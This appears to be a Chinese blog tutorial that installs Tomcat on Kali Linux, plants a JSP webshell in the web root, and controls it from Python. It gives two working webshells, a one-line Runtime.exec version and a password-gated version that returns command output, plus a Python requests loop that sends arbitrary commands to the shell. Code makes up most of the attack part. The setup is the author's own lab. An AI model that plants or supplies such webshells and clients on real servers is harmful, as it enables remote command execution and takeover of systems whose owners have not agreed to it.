首先需要安裝tomcat。
去官網 http://tomcat.apache.org/ 下載對應的 Linux 版本。
這裡,我下載的是 apache-tomcat-8.5.70.tar.gz
最好提前安裝好 JDK1.8 ,因為 kali 自帶的那個可能會出現一點問題。
這是我遇到的問題,隨手記錄了一下。
https://blog.csdn.net/weixin_45254208/article/details/119897865
不過你也可以不重裝,等出了問題再重裝,萬一你的電腦就沒有我這種情況呢。
好了,回到 tomcat 的安裝這個問題上來。
解壓縮下載好的安裝包。
tar -zxvf apache-tomcat-8.5.70.tar.gz
將解壓後的目錄,移動到 /usr/local/ 目錄下。
然後,使用命令 vim /etc/profile
配置環境變量,權限不夠就加 sudo
。
在文檔最下方添加以下環境變量配置代碼
export CATALINA_HOME=/usr/local/software/tomcat8.5.70
使用命令 source /etc/profile
讓配置立即生效。
進入 tomcat 安裝目錄的 bin 目錄,執行 ./startup.sh
,看到如圖提示代表啟動成功。
接下來才是重點,前面那都是安裝和配置環節。
tomcat 的跟目錄在 /usr/local/apache-tomcat-8.5.70/webapps/ROOT
,在該路目中寫一個 JSP 一句話木馬,名為 shell.jsp
,如下圖所示(我已提前寫好)。
最簡單的 JSP 一句話,其內容為:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
不過,我用的是另外一個 webshell ,稍微長一點。
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句話木馬</title>
</head>
<body>
<%
if ("shell".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>
其中,shell 是連接密碼,變量 cmd 用於接收參數。
在 Windows 本機驗證一下。
但是,既然標題說的是用python連接,那我當然不能忘了。
其實代碼十分簡單,無非就是使用 python 的 requests 庫,發送請求,傳遞參數,執行命令。
import requests
url = str(input('目標URL:')) # http://192.168.223.130:8080/shell.jsp
pwd = str(input('連接密碼:')) # 其實就是一句話木馬中的變量shell
while(True):
cmd = str(input('想要執行的命令:'))
# 將命令傳給 JSP 一句話木馬
payload = {
'pwd': '{}'.format(pwd),
'cmd': '{}'.format(cmd)
}
# 向目標url發送post請求
response = requests.post(url=url, params=payload)
# 回顯命令執行的結果
print(response.text)
結果如下:
在此基礎上,可以更加深入一點,最終開發出一個 webshell 的連接管理工具,也不是不可以。
如果本文對你有用的話,歡迎點贊收藏。